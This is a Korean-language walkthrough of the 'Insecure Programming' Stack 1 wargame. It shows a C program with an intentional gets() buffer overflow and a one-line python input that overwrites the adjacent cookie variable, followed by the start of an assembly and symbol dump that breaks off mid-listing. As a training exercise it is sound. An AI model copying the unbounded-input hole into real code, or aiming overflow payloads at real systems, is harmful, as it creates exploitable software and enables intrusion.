Insecure-programming-stack1 Insecure Programming by example Stack 1 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x41424344 ) printf ( "you win!\n" ) ; } cookie 변수 값이 0x41424344인 경우 you win! 을 출력하는 프로그램 소스 코드이다. 하지만 정상적인 프로그램 사용을 통해서 cookie 값에 값을 삽입할 수 있는 방법은 존재하지 않으므로 buf[80] 배열에 값을 넘치게 삽입하여 cookie 변수 값을 조작해야 한다. $ echo `python -c "print 'a'*80+'DCBA'" ` | ./stack1.exe buf: 0028fe6c cookie: 0028febc you win ! 위와 같이 python을 이용하여 임의의 문자 80개를 삽입한 후 cookie 변수 값에 넣을 값 지정하면 쉽게 해결할 수 있다. 주의할 점은 리틀엔디언 방식으로 문자를 역순으로 넣어주어야한다는 점이다. 추가적으로 심볼 파일을 생성하거나 gdb를 통해서 어셈블리어 구성을 살펴보자. 간단한 코드로 특이 사항은 없으므로 간단히 눈으로 읽고 지나쳐도 좋다. gcc -S -masm = intel -O3 -o stack1.s ./stack1.c Non-debugging symbols: 0x00000000 __deregister_frame_info 0x00000000 __register_frame_info 0x0040...